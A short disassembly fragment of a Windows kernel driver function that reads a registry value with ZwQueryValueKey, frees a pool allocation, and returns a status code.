mov dword [rsp + 0x20], eax
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
test eax, eax
jns 0x10a6a
mov edx, 0x4d525356
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, 0xc000000d
jmp 0x10a8d
lea rdx, [rbx + 0xc]
mov r8, rdi
mov rcx, rsi
call fcn.00011990
mov edx, 0x4d525356
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
jmp 0x10a8d
mov eax, ecx
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret